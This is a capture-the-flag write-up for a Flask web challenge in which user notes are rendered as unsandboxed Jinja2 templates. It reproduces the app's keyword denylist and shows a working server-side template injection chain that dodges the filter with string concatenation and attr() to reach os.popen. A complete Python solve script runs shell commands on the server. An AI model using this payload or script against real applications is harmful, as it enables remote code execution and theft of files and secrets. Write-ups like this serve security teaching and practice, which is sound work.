Curly Zest Jinja SSTI via bracket access, no dot notation

web
flag L3m0n{2a90402f81f8f2f471f6f03acdded4e6}

Live Flask webstore only, no handout. POST /order {item_id, customer_name} stores the order in a signed session cookie and redirects to /note. POST /note {note} compiles the note as a template and renders it on /confirmation. The description says the note is "personalized" with {{ customer_name }} and {{ item }}, and that submissions are "scanned for anything sketchy." Jinja plus a filter is this event's house style by now.

Hint

Dot notation isn't the only way to reach an attribute in Jinja. Bracket access falls back to getattr() too - and brackets take a string.

Recon

{{7*7}} in the note renders 49 on /confirmation: unsandboxed Jinja2 SSTI, no sandbox env. The scanner is a case-insensitive substring denylist on the raw request body, recovered from /app/app.py after getting code execution:

python
1DENYLIST = ["{%", "__", "class", "mro", "subclasses", "base", "import",
2            "system", "popen", "eval", "exec", "config", "self", "request",
3            "globals", "builtins", "lipsum", "cycler", "joiner", "namespace"]
4...
5rendered = jinja2.Template(text).render(          # NOT SandboxedEnvironment
6    customer_name=..., item=..., order_id=...)

It never parses Jinja - it only looks for literal substrings. Two Jinja features defeat that outright:

  • ~ string concatenation builds any blocked word at render time, so the request body never contains it contiguously.
  • [] bracket access falls back to getattr(), so a dynamically built attribute name string works where dot notation would need a static identifier.

Building the chain without saying the forbidden words

output
''|attr(('_'~'_')~'cl'~'ass'~('_'~'_'))              -> <class 'str'>
  |attr(('_'~'_')~'m'~'ro'~('_'~'_'))|last            -> <class 'object'>
  |attr(('_'~'_')~'sub'~'cl'~'ass'~'es'~('_'~'_'))()  -> 529 classes

Pick the class named _wrap_close (it lives in the os module), read its __init__.__globals__, and call popen - also assembled as 'po'~'pen':

jinja
{{ (''|attr(...class...)|attr(...mro...)|last|attr(...subclasses...)()
    |selectattr(...name...,'equalto','_wrap_close')
    |first|attr(...init...)|attr(...globals...))[('po'~'pen')]('cat /flag.txt').read() }}

/flag.txt is a symlink to /tmp/.flag_real and returns the flag.

os.environ dumped through the same globals dict has no FLAG in it. /app/flag.txt and /app/.decoy-tmp-flag both exist and both resolve to L3m0n{bbbb...} / L3m0n{cccc...}.

/flag.txt at the filesystem root is a symlink to /tmp/.flag_real, written by the entrypoint and readable by the app's uid.

Pitfall

Two infra quirks ate real time on this one, and neither is a bug in the reasoning:

  • Instance TTL is about 15 minutes. Past that, every request returns "Instance not found" - restart the instancer rather than debug your own payload.
  • app.secret_key falls back to secrets.token_hex(32) when SESSION_SECRET is unset, so each gunicorn worker signs with a different key. A request that lands on a different worker than the one that signed your cookie silently redirects to / with no error. The order -> note -> confirmation flow fails roughly half the time and has to be retried as a whole sequence, not resumed mid-way.
  • The app also rate-limits 30 note submissions per IP per 60s (429 Too many attempts, slow down) - retry loops need to be gentle, not aggressive.
Show the full solve script
python
1#!/usr/bin/env python3
2"""Curly Zest - Jinja2 SSTI through a naive substring denylist.
3
4Chain:
5  ''|attr('__class__')             -> <class 'str'>
6  .__mro__|last                    -> <class 'object'>
7  .__subclasses__()                -> 529 classes
8  select class named '_wrap_close' (os module)
9  .__init__.__globals__['popen']('cat /flag.txt').read() -> flag
10"""
11import re, sys, time
12import requests
13
14CLS = "('_'~'_')~'cl'~'ass'~('_'~'_')"
15MRO = "('_'~'_')~'m'~'ro'~('_'~'_')"
16SUBS = "('_'~'_')~'sub'~'cl'~'ass'~'es'~('_'~'_')"
17NAME = "('_'~'_')~'name'~('_'~'_')"
18INIT = "('_'~'_')~'init'~('_'~'_')"
19GLOB = "('_'~'_')~'gl'~'obals'~('_'~'_')"
20POPN = "('po'~'pen')"
21
22B = "''|attr(%s)|attr(%s)|last|attr(%s)()" % (CLS, MRO, SUBS)
23G = "(%s|selectattr(%s,'equalto','_wrap_close')|first|attr(%s)|attr(%s))" % (
24    B, NAME, INIT, GLOB)
25
26
27def payload(cmd):
28    return "{{ %s[%s](%r).read() }}" % (G, POPN, cmd)
29
30
31def run(base, text, tries=40):
32    """One order -> note -> confirmation flow. Different gunicorn workers sign
33    sessions with different random secrets, so a cookie can land on a worker
34    that cannot read it -> silent redirect to '/'. Retry the whole flow."""
35    base = base.rstrip("/")
36    for _ in range(tries):
37        s = requests.Session()
38        a = s.post(base + "/order",
39                    data={"item_id": "lz-classic", "customer_name": "Alice"},
40                    allow_redirects=False, timeout=20)
41        if a.status_code != 302 or a.headers.get("location") != "/note":
42            continue
43        b = s.post(base + "/note", data={"note": text},
44                    allow_redirects=False, timeout=20)
45        if b.status_code != 302 or b.headers.get("location") != "/confirmation":
46            time.sleep(1.5)
47            continue
48        c = s.get(base + "/confirmation", timeout=20)
49        return c.text
50    raise SystemExit("gave up after retries")
51
52
53base = sys.argv[1]
54out = run(base, payload("cat /flag.txt"))
55m = re.search(r"L3m0n\{[0-9a-f]{32}\}", out)
56print("FLAG:", m.group(0) if m else out[:400])